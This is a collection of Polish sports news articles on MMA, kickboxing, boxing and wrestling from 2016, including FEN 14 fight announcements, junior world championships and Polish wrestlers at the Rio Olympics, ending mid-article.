Starcie Pawła Hadasia z Pawłem Brandysem to druga ogłoszona już walka MMA w fight cardzie gali FEN 14 Silesian Rage. Wcześniej federacja FEN podała, że w kategorii półśredniej 15 października w katowickim Spodku walczyć będą Albert Odzimkowski i Mateusz Strzelczyk. Poza nimi tego wieczora wystąpią także Roman Szymański, który będzie bronił pasa mistrza FEN w formule MMA, Tomasz Sarara, który stanie do walki o tytuł mistrza FEN w K-1, Paweł Biszczak, Tomasz Gromadzki, Akop Szostak i Tyberiusz Kowalczyk.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Bez medalu we Francji

Dobiegły końca zmagania w mistrzostwach świata juniorów w zapasach we francuskim Macon. Polacy wracają do kraju z pustymi rękami.

Nasi juniorzy wystawili nas na próbę. Kilki dni posuchy sprawiło, że kibice zwątpili w powodzenie występów naszych zapaśników. Klasycy i panie nie przebili się do czołówki. O honor walczyli zawodnicy w stylu wolnym. Do szczęścia zabrakło niewiele.

Medale były blisko

Do Francji pojechała piętnastoosobowa kadra Polski. Początkowo naszym trudno było przebić się w poszczególnych kategoriach wagowych do czołowej „dziesiątki”. Sztuka ta powiodła się Natalii Strzałce (72kg), która uplasowała się na 8. pozycji. Z kolei 10. miejsce zajęła Beata Kosla (44kg).

W końcu nadeszły lepsze dni dla polskich zapasów, a to za sprawą naszych wolniaków. Jednak to nie było spełnienie marzeń, gdyż zmagania w mistrzostwach świata kończymy bez medalu. Ambitnie o brąz walczył Krzysztof Sadowik (84kg). Polak znalazł się w gronie 25 zapaśników, którzy mieli chrapkę na medal. Zmagania w licznie obsadzonej kategorii nie były sprawą łatwą, jednak zawodnik Śląska Milicz miał szczęście. Już w kwalifikacjach stoczył zaciętą walkę z Mahmoudem Badawim z Egiptu. Przy remisie 4:4 z awansu cieszył się Polak, gdyż rywal przesadził z nieczystymi zagraniami. Z dobrej strony Sadowik pokazał się w 1/8. Pewnie pokonał Williama Roffi'ego z Włoch, ale w ćwierćfinale lepszy był Osman Gocen. Turek dotarł do finału, gdzie ostatecznie przegrał z Rosjaninem Musalalievem. Pozwoliło to zapaśnikowi Śląska Milicz walczyć w repasażach. Sadowik wypunktował Niemca Opitza, a o brąz przegrał rywalizację z Azerem Gadżimuradem Magomedsaidowem.

Kamil Kościółek (120kg) już raz cieszył się z medalu mistrzostw świata. W 2014 roku w Zagrzebiu zajął piąte miejsce, ale… zwycięzca, Geno Petraszwili, został zdyskwalifikowany za doping i Polak wskoczył na podium. Dwa lata później Kościółek wraca z Francji z piątą lokatą. Tym razem przegrał… z mistrzem świata. W półfinale Polak nie dały rady Kazbekowi Khubulovi, który zwyciężył 2:0. Kościółek nie wykorzystał medalowej szansy i w decydującej o trzecim miejscu pojedynku uległ Amirowi Rezie Amiriemu z Iranu.

Pozostali szybko odpadali

W stylu wolnym zaprezentował się jeszcze trzech Polaków. Dawid Piskorz (74kg) i Bartosz Stawinoga (66kg) przepadli w kwalifikacjach. Z kolei Krzysztof Ołenczyn przegrał w 1/8 z Temurjonem Usmonohunovem.

Po dwa złote medale wywalczyli Amerykanie (Spencer Lee w 50kg i Mark Hall w 70kg), Irańczycy 
(Peimam Biabani 60kg i Hossein Shahbazigazvar 96kg) i Rosjanie (Arsen-Ali Musalaliev 84kg i Kazbek Khubulov 120kg). W 55kg triumfował Azer Afgan Khashalov, a w 66kg Turek Enes Vahit Uslu.

KM

Juniorzy bez błysku

Biało-czerwoni nie odgrywają pierwszoplanowej roli w mistrzostwach świata juniorów w zapasach, które odbywają się w Macon. Klasykom i paniom nie udało przebić się do strefy medalowej. Nadzieją na sukces pozostają zawodnicy rywalizujący w stylu wolnym.

Polakom trudno było przebić się nawet do pierwszej „10”. Do tej pory sztuka ta udała się tylko Natalii Strzałce, która w kategorii 72kg zajęła ósme miejsce. Na 10. lokacie uplasowała się Beata Kosla (44kg).

Zbieranie doświadczenia

W rywalizacji juniorek siłę pokazały Japonki, które triumfowały w aż sześciu kategoriach wiekowych. Po złote medale sięgnęły także Kseniia Nezgovorova (51kg) z Rosji oraz Koumba Selene Fanta Larroque (67kg) z Francji.

Polki bez rewelacji. W 1/8 zmagań w 48kg Dominika Szynkowska stoczyła zacięty bój z Ukrainką Marianą Kolos, jednak minimalnie lepsza była rywalka. Przed ciężkim zadaniem już na początku rywalizacji stanęła Alicja Czyżowicz (55kg). Polka w 1/8 trafiła na Marinę Sednevą z Kazachstanu, która dotarła do finału, jednak w decydującej rozgrywce uległa Mayu Mukaidzie. Czyżowicz zyskała szansę występu w repasażach, gdzie nie sprostała Deborze Lawnitzak.

Najlepszy start spośród naszych juniorek zaliczyła Natalia Strzałka (72kg). Wśród siedemnastu zawodniczek uplasowała się na ósmej pozycji. W 1/8 finału rozprawiła się z Boryaną Borisovą, ale kolejną walkę przegrała. Z kolei w pojedynku repasażowym uległa Chuchu Yan. Chinka rywalizację w mistrzostwach świata zakończyła z brązowym medalem, a Daria Shisterova, która pokonała Polkę w ćwierćfinale zdobyła srebro.

1/8 okazała się przeszkodą nie do przejścia dla Beaty Kosli, która w kategorii 44kg zajęła dziesiąte miejsce. W kwalifikacjach przepadła Agata Walerzak (51kg). Dwie porażki na swoim koncie zapisała Patrycja Sperka (67kg).

Gruzini na czele klasyków

W rywalizacji w stylu klasycznym na czele Gruzini, którzy triumfowali w czterech kategoriach. Złote medale wywalczyli: Giorgi Melia (96kg), Dato Chkhartishvili (55kg), Ramaz Zoidze (66kg) oraz Zviadi Pataridze (120kg).

Nasi klasycy daleko. Najlepszy wynik zanotował Rafał Płowiec, który w kategorii 120kg uplasował się na 14. pozycji wśród 22 startujących. Polak w 1/8 przegrał z Dalerem Rakhmatovem z Uzbekistanu. Oskar Czyżewski (84kg) nie przebrnął nawet kwalifikacji.

O występach Mateusz Szewczuka, Norberta Daszkiewicza oraz Erwina Imbierskiego. Wszyscy trzej stoczyli we Francji po zaledwie jednej walce i w swoich kategoriach zajęli odległe pozycje.

KM

Mamy mistrzów świata!

Polacy zdobywają Dublin i opływają w sukcesy! Mowa o naszych kickboxerach, którzy rywalizują w mistrzostwach świata kadetów i juniorów w stolicy Irlandii. 

Chciałoby się krzyknąć: jakie wspaniałe mamy kadry! Taka jest prawda – o przyszłość polskiego kickboxingu możemy być spokojni. Trenerzy wykonują fantastyczną pracę i szlifują kolejne diamenty, które zdobywają dla nas medale.

Rozpoczęli z animuszem

Pojechali do Dublina jak po swoje i udowadniają, że są niezwykle mocni. Rywale obawiają się rywalizacji z zawodnikami z Polski. Biało-czerwoni to prawdziwi dominatorzy, których konsekwencja i pracowitość dają pożądane efekty.

Złoty medal wywalczyła Urszula Turulska w rywalizacji kadetek w kick-light. Zawodniczka CSW Champion Lubawa zaimponowała w decydującym starciu z rywalką ze Słowacji. Od samego początku Turulska narzuciła swój styl i konsekwentnie realizowała taktykę. Reprezentantka Championa Lubawa wywalczyła także brąz w pointfightingu. Sukces odniosła również klubowa koleżanka Turulskiej. Marta Lipka zdobyła brązowy medal w rywalizacji juniorek w kick-light. 

Możemy być dumni z naszych pań, które w Dublinie walczą świetnie. Angelika Szczepańska sięgnęła po tytuł mistrzyni świata w rywalizacji kadetek w kick-light. W drodze na szczyt zawodniczka Łaskiego Klubu Sztuk Walki Oyama Karate pokonała cztery rywalki.

Panowie też trzymają poziom

Ciężka praca dała efekty w przypadku Bartosza Grata. Fighter Klubu Sportów Walki Szczecinek sięgnął po złoto wśród kadetów w kategorii 69kg. Grat znakomicie rozpoczął zmagania w Dublinie, gdyż w pierwszej walce przed czasem wypunktował Australijczyka. Kolejne walki wygrywał pewnie. W finałowym starciu nie dał żadnych szans zawodnikowi z Bułgarii. Z tytułu mistrza świata w kick-light cieszy się również Szymon Góra.  

O krok od zdobycia mistrzowskich tytułów byli Wiktor Melka oraz Wiktor Wilanowski. Zawodnicy toczący boje w kick-light przegrali odpowiednio z reprezentantami Rosji i Grecji.

Czekamy na kolejne medalowe zdobycze Polaków! Trzymamy kciuki z całych sił!

Fot. Polska Kadra Kadetów PZKb Facebook

KM

Pokazał serce, ale przegrał w parterze

Podczas UFC Fight Night 93 w Hamburgu Jan Błachowicz zmierzył się z Alexandrem Gustafssonem. Polak dobrze wystartował, ale doświadczenie było po stronie Szweda. Na przestrzeni trzech rund lepiej zaprezentował się Gustafsson.

Dla popularnego „Johna” rywalizacja ze Szwedem stanowiła największą szansę w dotychczasowej karierze. Zdążył już poznać UFC. Zasmakował zwycięstwa, ale i porażki. Nie rywalizował jednak z tak mocnym przeciwnikiem jak Gustafsson.

Nie przestraszył się faworyta

Alexander Gustafsson ma większe doświadczenie w UFC, w której debiutował w listopadzie 2009 roku. W pierwszej walce potrzebował zaledwie 41 sekund, aby znokautować Jareda Hammana. Z każdą walką Szwed prezentował się coraz lepiej, poza porażką z Philem Davisem, i odniósł sześć zwycięstw z rzędu. Dało mu to możliwość spotkania z Jonem Jonesem. Szwed zaprezentował się bardzo dobrze i był blisko zdobycia pasa. Pięć wyrównanych rund, po których ze zwycięstwa cieszył się Jones. O tytuł zawodnik ze Skandynawii rywalizował także z Danielem Cormierem. Ponownie pięć rund, ale i tym razem Szwed nie spełnił marzeń. Gustafsson ostatnich miesięcy nie może zaliczyć do udanych, gdyż zanotował dwie porażki z rzędu i długo odpoczywał od sportu. 

Z kolei Jan Błachowicz wygrał walkę o życie w UFC. Podczas kwietniowej gali w Zagrzebiu wygrał z Igorem Pokrajacem. Mimo wszystko Gustafsson był wyżej ceniony przez fachowców i uchodził za faworyta.

Błachowicz nie przestraszył się rywala. Odważnie ruszył do przodu i próbował trafić Gustafssona. Widać było, że Szwed wraca do oktagonu po blisko rocznej przerwie i nie czuje jeszcze pola walki. Błachowicz posłał kilka ciosów w stronę fightera ze Skandynawii,  a ten po chwili sprowadził rywalizację do parteru. „John” skutecznie się bronił i nie pozwolił przeciwnikowi na zbyt wiele.

Parter zadecydował 

Łokciami zaskoczył Błachowicz rywala na początku drugiej odsłony. Gustafsson nie pozwolił Polakowi na rozwinięcie skrzydeł i sprowadził walkę do parteru. Szwed rozbijał Błachowicza, na którego twarzy pojawiła się krew. Mimo, że „John” leżał na plecach, cały czas był aktywny. Szukał gilotyny, jednak bezskutecznie. Praktycznie cała runda w parterze, na kilkadziesiąt sekund przed końcem Szwed wstał, ale po chwili wrócił do poprzedniej pozycji. 

Od początku trzeciej rundy Błachowicz ruszył do przodu. Trafił rywala w stójce, ale Gustafsson po minucie przeniósł rywalizację do parteru. Szwed kontrolował walkę, jednak nie wyrządzał żadnych szkód Polakowi. Zmęczenie dawało o sobie znać. W końcu sędzia przeniósł walkę do stójki, co dawało nadzieję Błachowiczowi. Szwed szybko złapał nogę polskiego fightera i ponownie pojedynek znalazł się w parterze. Polak przyjął kilka ciosów od Szweda, który podkreślał konsekwentnie swoją przewagę.

Gustafsson wykorzystał w pełni swoje doświadczenie. Nie pozwolił Błachowiczowi na zbyt wiele i w decydujących momentach sprowadzał walkę, a w parterze nie dał Polakowi szans. Fighter urodzony z Cieszynie pokazał się z dobrej strony i w stójce przeprowadził kilka groźnych akcji. W drugiej rundzie rywal zrobił krok w kierunku wygranej i zneutralizował atuty Błachowicza. Szwed wygrał jednogłośnie na punkty.

KM

Held otwiera nowy rozdział

Po rozstaniu Marcina Helda z Bellatorem od razu pojawiły się głosy, że polski fighter powinien zagościć w UFC. Nie trzeba było długo czekać, żeby tak się stało. Wielki talent polskiego MMA podpisał kontrakt z najlepszą organizacją na świecie i czeka na debiut.

Ma 24 lata i bogate doświadczenie, a przede wszystkim charakter, bo pochodzi z Tych. Swego czasu wygrywał z tymi, którzy teraz są na szczycie w organizacji KSW. Held szybko ruszył za ocean, aby pokonywać kolejne szczeble kariery. Teraz zrobił poważny krok do przodu.

Spełnienie marzeń

Wiadomość o tym, że Held rozwiązał umowę z Bellatorem zdziwiła niektórych. Jednak trzeba sobie jasno powiedzieć, iż 24-latek doszedł do ściany. Zrobił wszystko, co mógł. W Bellatorze debiutował w marcu 2011, ale przegrał wtedy przez duszenie trójkątne rękoma z Michaelem Chandlerem. Łącznie stoczył czternaście pojedynków dla organizacji założonej przez Bjorna Rebneya. W trakcie swojej przygody z Bellatorem wygrał turniej wagi lekkiej w 2014 roku, a w listopadzie 2015 roku spotkał się w pojedynku o pas mistrzowski z Willem Brooksem. Polak przegrał decyzją sędziów. 

24-latek długo nie pozostawał bezrobotny. – Mogę się pochwalić, że kolejne walki będę toczył dla UFC! Mam nadzieję, że podoba Wam się tam zmiana i że dalej będziecie oglądać moje walki –  napisał na swoim facebookowym profilu.

Kariera Helda rozwija się i wygląda, że wszystko jest poukładane. Można ją porównać do płaszczyzny piłkarskiej. Młody i utalentowany gracz prezentuje wysoki poziom w kraju, więc spotyka się z zainteresowaniem zagranicznych klubów. Wybiera ofertę zespołu, w którym może dostać szansę i rozwinąć się, dzięki czemu trafia do ekipy z górnej półki. Dokładnie tak jest w przypadku Helda. Polski fighter kategorii lekkiej okrzepł i nabrał doświadczenia w Bellatorze, a teraz przeprowadzi szturm na UFC. Zna specyfikę rywalizacji w Stanach, więc ma przewagę, nad większością rodaków. Dla nich była to podróż w nieznane. Przypadek Helda jest inny, ale nie gwarantuje mu sukcesu. On sam musi na niego zapracować ciężką pracą.

Debiut w listopadzie

Za nieco ponad dwa miesiące Held zadebiutuje w nowej organizacji. Polak wystąpi podczas UFC Fight Night 98 w Mexico City, a jego rywalem będzie Diego Sanchez.

34-letni Amerykanin doskonale zna specyfikę UFC, w której debiutował w kwietniu 2005 roku. Wtedy to zwyciężył w pierwszej edycji The Ulimate Fighter. Rywalizował łącznie w czterech kategoriach wagowych.

Ostatnio prezentuje się w kratkę. W ciągu trzech lat stoczył siedem walk, z których tylko trzy zakończyły się jego sukcesem. Sanchez przyzwyczaił kibiców do wygrywania w większości przypadków decyzją sędziów.

Przed Marcinem Heldem kolejne wyzwanie w karierze. 5 listopada zadebiutuje w najwyższej klasie rozgrywkowej.

KM

Gromadzki rywalem Biszczaka na gali FEN 14 w Spodku

Z anonsowanych już bohaterów gali FEN 14 Silesian Rage Paweł Biszczak jest pierwszym, który poznał nazwisko swego przeciwnika – 15 października w katowickim Spodku zmierzy się z zawodowym mistrzem Polski w K-1 Tomaszem Gromadzkim.

Tomasz „Zadyma” Gromadzki ma mniejsze doświadczenie niż Paweł Biszczak, ale jest dużym kickbokserskim talentem. Sporty walki uprawia od 12 lat – zaczynał od karate, potem zainteresował się boksem, a pięć lat temu zaczął trenować również kickboxing. Jego największe sukcesy to drugie miejsce w Pucharze Europy w karate full contact, Puchar Polski w boksie oraz K-1, a także tytuł zawodowego mistrza Polski w K-1.

W zawodowym K-1 debiutował w 2013 roku, przegrywając po wyrównanej walce z ówczesnym mistrzem świata Wojciechem Kosowskim. W kolejnych pojedynkach wygrywał z tak utytułowanymi rywalami, jak Bartłomiej Mięciuk, Andrzej Grzegorczyk i Piotr Sokół, pokonał też znanych z klatkoringu FEN Janu Malkriado Cruza z Portugalii i Pavla Oboznego z Białorusi. Jego bilans to 5 wygranych i 3 przegrane walki.

Sporą sensację budzi fakt, że Tomasz Gromadzki treningi bokserskie i kickbokserskie łączy z prowadzeniem… zakładu pogrzebowego. „Podobno jestem jedynym zawodowcem w sportach walki, który ma firmę w tej branży” – śmieje się zawodnik Paco Team Katowice, podkreślając, że biznes nie koliduje z jego karierą sportową. Do gali FEN 14 Silesian Rage przygotowuje się pod okiem Witolda Kostki, trenera kadry Polski w K-1 low kick, i odpowiedzialnego za elementy bokserskie Gabriela Skiby ze Sportowego Zagłębia. „Zadyma” jest pewien, że jest już gotów na konfrontację z tak mocnym przeciwnikiem.

„Na Pawle Biszczaku wzorowałem się, planując strategię na walki z Cruzem i Oboznym. Przed pierwszym z tych pojedynków Paweł był nawet moim sparingpartnerem – mówi. – Wiedziałem, że prędzej czy później zmierzę się z numerem 1 w Polsce. Czy uczeń przerośnie mistrza? Zobaczymy. Jestem kompletnym zawodnikiem, gotowym stawić czoła temu wyzwaniu. O losie tej walki może zdecydować pojedynczy cios czy kopnięcie, ale parę razy walczyłem z zawodnikami, którzy byli faworytami, a mimo to ja zwyciężałem”.

Paweł Biszczak jest bez wątpienia jednym z najlepszych kickbokserów w Europie i jedną z największych gwiazd organizacji FEN. Widowiskowo walczący reprezentant TKKF Legnica i Prych Team Legnica to wielokrotny mistrz Polski w karate kyokushin i kickboxingu oraz mistrz świata K-1 z 2014 r. W formule K-1 wygrał 22 zawodowe walki i odniósł tylko 3 porażki. Na arenie FEN występował czterokrotnie, pokonując kolejno Janu Cruza, Belga Zakarię Baitara, Pavla Oboznego i Anatoliya Hunanyana z Czech. Piątą walkę, której stawką miał być pierwszy w historii pas mistrza Fight Exclusive Night w K-1, miał stoczyć wiosną tego roku na gali FEN 12 Feel The Force, ale tuż przed imprezą z powodu poważnej infekcji bakteryjnej wylądował w szpitalu. Jakiej walki spodziewa się na gali FEN 14 Silesian Rage?

„Tomek Gromadzki to świetny puncher, ale też coraz lepiej kopie. Do tego jest silny, zawsze doskonale przygotowany kondycyjnie i lubi atakować. Myślę, że w Spodku, przed własną publicznością, będzie walczył ofensywnie, dążąc do przejęcia inicjatywy. Zapowiada się emocjonująca, zacięta walka, bez klinczowania, która spodoba się kibicom” – mówi Paweł Biszczak.

Starcie Pawła Biszczaka z Tomaszem Gromadzkim będzie jedną z 12 walk, które 15 października obejrzy publiczność gali FEN 14 Silesian Rage. W katowickim Spodku wystąpią także m.in. Roman Szymański, który będzie bronił pasa mistrza FEN w formule MMA, Tomasz Sarara, który stanie do walki o tytuł mistrza FEN w K-1, oraz Akop Szostak, Tyberiusz Kowalczyk i Paweł Hadaś.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u Fight Exclusive Night na Facebooku.

FEN

Strzelczyk vs Odzimkowski na gali FEN 14 Silesian Rage

Znamy kolejne zestawienie gali FEN 14 Silesian Rage! 15 października kibiców w katowickim Spodku czeka zapowiadające się bardzo interesująco starcie dwóch dużych talentów polskiego MMA wagi półśredniej – Mateusza Strzelczyka i Alberta Odzimkowskiego.

Dla 28-letniego Alberta Odzimkowskiego będzie to czwarty występ w klatkoringu FEN i dwunasty na zawodowych arenach MMA. Do tej pory fighter krakowskiej Szkoły Walki Drwala a obecnie S4 Fight Club osiem walk wygrał i trzy przegrał – swoją karierę rozpoczął od efektownej serii siedmiu zwycięstw z rzędu, którą przerwał dopiero Francuz Mickael Lebout, późniejszy zawodnik UFC. W kolejnych trzech walkach, już dla federacji FEN, „Dzik” jest na minusie. W debiucie na gali FEN 7 Real Combat przegrał przez poddanie ze świetnym Litwinem Mindaugasem Verzbickasem, następnie na FEN 8 Summer Edition fantastyczną serią ciosów pokonał walczącego obecnie w UFC Norwega Emila Webera Meeka, a wiosną tego roku na FEN 11 Warsaw Time w starciu, które mogło mu dać szansę walki o pas FEN, musiał odklepać balachę wykonaną przez Pawła Żelazowskiego. Ta bolesna porażka zmotywowała go do jeszcze cięższej pracy. Odzimkowski do walki w katowickim Spodku przystąpi bogatszy m.in. o miesiąc intensywnych treningów w jednym z najlepszych ośrodków treningowych MMA na świecie – słynnej Jackson Wink Academy w Albuquerque w USA.

Z kolei dla reprezentującego stołeczny WCA Fight Team, ale pochodzącego z Opatowa koło Częstochowy Mateusza „Pająka” Strzelczyka walka na gali FEN 14 Silesian Rage będzie drugą, którą stoczy dla organizacji Fight Exclusive Night. W pierwszym starciu podczas FEN 12 Feel The Force we wrocławskiej Hali Ludowej wychowanek trenera Krzysztofa Kułaka, który obecnie trenuje pod okiem Roberta Jocza, wykorzystał w pełni daną mu szansę i po świetnej walce pokonał faworyzowanego Jakuba Boczka, wygrywając jednogłośną decyzją sędziów. Było to ósme zwycięstwo 25-letniego Strzelczyka w czternastu zawodowych walkach – wcześniej na swoim koncie zapisał m.in. wygrane pojedynki z Bartłomiejem Kurczewskim i Dawidem Drobiną.

Starci Alberta Odzimkowskiego z Mateuszem Strzelczykiem będzie jedną z 12 walk, które 15 października obejrzy publiczność gali FEN 14 Silesian Rage. Wiadomo już, że w katowickim Spodku wystąpią także Roman Szymański, który będzie bronił pasa mistrza FEN w formule MMA, Tomasz Sarara, który stanie do walki o tytuł mistrza FEN w K-1, Paweł Biszczak, Tomasz Gromadzki, Akop Szostak, Tyberiusz Kowalczyk i Paweł Hadaś.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Nieudany początek polskich juniorów

W francuskim Macon wystartowały mistrzostwach świata juniorów w zapasach. Rywalizacja potrwa do niedzieli 4 września. Na macie zaprezentowali się już pierwsi Polacy, jednak ich przygoda z czempionatem szybko się zakończyła.

Pierwsze dwa dni zmagań należą do klasyków. Następnie o medale powalczą panie i zapaśnicy rywalizujący w stylu klasycznym. Do Francji udała się piętnastoosobowa kadra Polski. 

Nie przebili się

Na początek ściskaliśmy kciuki za trzech naszych klasyków. Niestety, żadnemu z nich nie udało się wygrać pierwszej walki. W kategorii 60kg do rywalizacji o medale przystąpiło 27 zawodników, w tym Mateusz Szewczuk. Mistrz Polski rywalizację we Francji rozpoczął od 1/8 finału. Los skojarzył go z zawodnikiem gospodarzy Arilesem Mouloud Adjaoudem. Mimo starań i licznych prób Polak nie znalazł sposobu na Francuza. Szewczuk zapisał na swoim koncie na pocieszenie jeden punkt.

W 74kg w akcji zobaczyliśmy Norberta Daszkiewicza. W ubiegłym roku nasz zapaśnik wywalczył srebro podczas mistrzostw świata kadetów w Sarajewie. Teraz nie uda mu się powtórzyć sukcesu na poziomie juniorskim. W drodze do złotego medalu trzeba było okazać się lepszym od 32 zawodników. Daszkiewicz w 1/16 francuskiego czempionatu spotkał się z Krasimirem Płamenovem Krumovem. Po zaciętej walce z triumfu cieszył się Bułgar, który w kolejnym starciu rywalizował z Pauliusem Galkinasem. Litwin pokazał klasę i rozbił pogromcę polskiego zapaśnika.

Kwalifikacje okazały się przeszkodą nie do przejścia dla Erwina Imbierskiego (96kg). Polak trafił na Arvi Martina Savolainena, który okazał się mocny i nie pozwolił zapaśnikowi Śląska na zbyt wiele. Reprezentant Finlandii zatrzymał się dopiero na ćwierćfinale, gdzie Bopembe Arsen Sychev z Białorusi pozbawił go jakichkolwiek złudzeń i pewnie triumfował.

Kolejni czekają

W środę, 31 sierpnia, w akcji zobaczymy Oskara Czyżewskiego (84kg) z KS Sobieski Poznań oraz Rafała Płowca (120kg), który trenuje w RCSZ Olimpijczyku Radom. 

Czwartek i piątek należeć będą do pań. O medale dla Polski powalczą: Beata Kośla (44kg), Agata Walerzak (51kg), Alicja Czyżowicz (55kg), Patrycja Sperka (67kg) i Natalia Strzałka (72kg). Wśród naszych wolniaków zaprezentują się: Patryk Ołenczyn (60kg), Bartosz Stawinoga (66kg), Dawid Piskorz (74kg), Krzysztof Sadowik (84kg) i Kamil Kościółek (120kg).

KM

Starcie na szczycie wagi półciężkiej

Jesień w świecie boksu zapowiada się niezwykle emocjonująco. 19 listopada w Las Vegas dojdzie do pojedynku tytanów w wadze półciężkiej. Mistrz świata WBA, WBO i IBF Sergiej Kowaliow zmierzy się z Andre Wardem.

Miłośnicy boksu w najbliższym czasie nie powinni narzekać na nudę. Już 17 września polscy kibice będą ściskali kciuki za Krzysztofa Głowackiego, który po raz kolejny będzie bronił tytułu WBO w kategorii junior ciężkiej w pojedynku z Ołeksandrem Usykiem. Swoją szansę podczas tej samej gali dostanie również Ewa Piątkowska. Popularna „Tygrysica” stoczy bój o mistrzostwo świata WBC wagi super półśredniej z Aleksandrą Magdziak Lopes. 

Prawdopodobnie 29 października dojdzie do rewanżowej walki na szczycie wagi ciężkiej pomiędzy Tysonem Fury'm i Władimirem Kliczko. Mało? W końcu udało się zakontraktować starcie Kowaliow-Ward. 

Niepokonani

W obu przypadkach po stronie porażek widnieje zero. 33-letni Kowaliow na każdym kroku imponuje. W 2013 roku wywalczył w efektownym stylu pas WBO. Rosjanin nie miał litości dla Nathana Cleverly'ego, który kilkukrotnie lądował na deskach. Ostatecznie w czwartej rundzie sędzia przerwał pojedynek. Kowaliow powiększył swój dorobek w listopadzie 2014 roku, kiedy to w walce unifikacyjnej pokonał na punkty Bernarda Hopkinsa. 33-latek może pochwalić się pasami WBA, WBO i IBF. Do tej pory Rosjanin cztery razy skutecznie bronił dorobku. Teraz stanie przed niezwykle trudnym wyzwaniem.

Andre Ward największe sukcesy świętował w wadze super średniej. 32-letni Amerykanin wywalczył mistrzostwo WBA i WBC. Ward nasycił się zdobyczami i postanowił zabrać się za nowy obszar. W marcu br. zadebiutował w kategorii półciężkiej i pokonał Sullivana Barrerę. Kilka tygodni temu odniósł zwycięstwo w boju z Alexandrem Brandem. 

Wiadomo było, że prędzej czy później musi dojść do starcia Kowaliowa z Wardem. Pojedynek już był na wyciągnięcie ręki, ale wtedy Amerykanin nie pojawił się na konferencji prasowej, czym zasiał niepokój. Żadnych wątpliwości już nie ma. Do mistrzowskiego starcia dojdzie 19 listopada w T-Mobile Arenie w Las Vegas.

Mocna pięść kontra cierpliwość

Kowaliow i Ward stoczyli po trzydzieści zwycięskich pojedynków. Z tym, że to Rosjanina należy uznać za pięściarza mającego potężny cios. Aż 26 walk rozstrzygnął przed czasem. Z kolei Ward w 15 przypadkach nie pozwolił rywalom dotrwać do końca walki. Pokazuje to też, że Amerykanin ma dobre przygotowanie kondycyjne i jest cierpliwy. Ward zapowiada atak na pasy, które są w posiadaniu Kowaliowa. Szykuje się pojedynek pełen wrażeń.

Sprzedaż biletów ruszy 2 września. Za najtańszy bilet trzeba będzie zapłacić 55 dolarów.

fot. boxingnewsonline.net

KM

Amerykanin lepszy od Gadżijewa

Mistrz Europy zapasach w stylu wolnym w kategorii 70kg Magomiedmurad Gadżyjew poniósł porażkę w 1/8 Igrzysk Olimpijskich w Rio de Janeiro. Lepszy od 28-latka okazał się Amerykanin Frank Molinaro. W kwalifikacjach przepadł Radosław Baran.

Przewidywano, że Gadżyjew będzie musiał walczyć w ćwierćfinale z Togrulem Asgarovem. Azer to zapaśnik z najwyższej półki, cztery lata temu w Londynie wywalczył tytuł mistrza olimpijskiego. Gadżijew nie pokonał jednak pierwszej przeszkody w Rio.

Występ pod znakiem zapytania

W ostatnich miesiącach wokół mistrza Europy w Rygi było mnóstwo zamieszania. Występ Gadżijewa w Rio stał pod ogromnym znakiem zapytania, gdyż w jego organizmie wykryto meldonium. Po kwietniowym turnieju w Żrenjaninie od zapaśnika pobrano próbkę do badań. Wynik wskazywał na obecność zakazanej substancji w organizmie 28-latka, jednak stężenie specyfiku było niewielkie. Światowa Federacja Zapaśnicza cofnęła kwalifikację olimpijską dla Gadżijewa. Dramatyczna wiadomość dla zawodnika, ale Polski Związek Zapaśniczy nie dał za wygraną. Stoczył bój o Gadżijewa i jego występ w igrzyskach, który zakończył się sukcesem.

Mistrz Europy z Rygi wymieniany był jako jeden z kandydatów do wywalczenia dla Polski medalu na olimpijskiej arenie. Urodzony w Dagestanie zawodnik reprezentuje Polskę od 2014 roku. W tym czasie wywalczył srebro w Igrzyskach Europejskich w Baku, a także sięgnął po tytuł mistrza Europy. Nadzieje były duże. W 1/8 finału 65kg Gadżijew trafił na Franka Molinaro. Na światowej arenie Amerykanin niczym szczególnym się nie wyróżnił. W tym roku wywalczył złoty medal na mistrzostwach panamerykańskich, co należy uznać za największy sukces w jego karierze.

Molinaro miał być łatwym rywalem dla Gadżijewa, ale rzeczywistość okazała się zupełnie inna. Amerykanin w pierwszej rundzie przeprowadził akcję za dwa punkty i następnie nie pozwolił reprezentantowi Polski na żadną szarżę. Gadżijew wyrównał w drugiej odsłonie, ale dzięki pasywności przeciwnika. Ostatecznie awans do ćwierćfinału uzyskał Molinaro.

Odpadł w eliminacjach

Radosław Baran startujący w kategorii 97kg w kwalifikacjach trafił na rywala z najwyższej półki. Chietag Gaziumow to brązowy medalista igrzysk w Pekinie i Londynie, stawał na podium w mistrzostwach świata i Europy. W pierwszej rundzie Baran nie dał się zdominować rywalowi, ale stracił punkt. Decyzją sędziego Polak miał pół minuty na przeprowadzenie akcji. Nie zaatakował i rywal otrzymał punkt. Gaziumow kontrolował walkę i w drugiej rundzie przypieczętował zwycięstwo. Azer wygrał 3:0. 

KM

Ćwierćfinałowe porażki Polaków

Do walki o medale przystąpili zapaśnicy w styl wolnym. Zbigniew Baranowski (86kg) i Robert Baran (125kg) przegrali pojedynki ćwierćfinałowe podczas Igrzysk Olimpijskich w Rio de Janeiro.

Kwalifikację olimpijską wywalczyło łącznie czterech zapaśników w stylu wolnym. Na swój występ czekają jeszcze Magomedmurad Gadżijew (65kg) oraz Radosław Baran (97kg).

Ciężki talent

Robert Baran przygodę z zapasami zaczął w wieku ośmiu lat. Pokonywał kolejne szczeble kariery i sięgał po medale w mistrzowskich imprezach. Na krajowym podwórku również potwierdzał klasę. Baran stał się nadzieją polskich zapasów i do Rio jechał jako ten, który może sprawić niespodziankę.

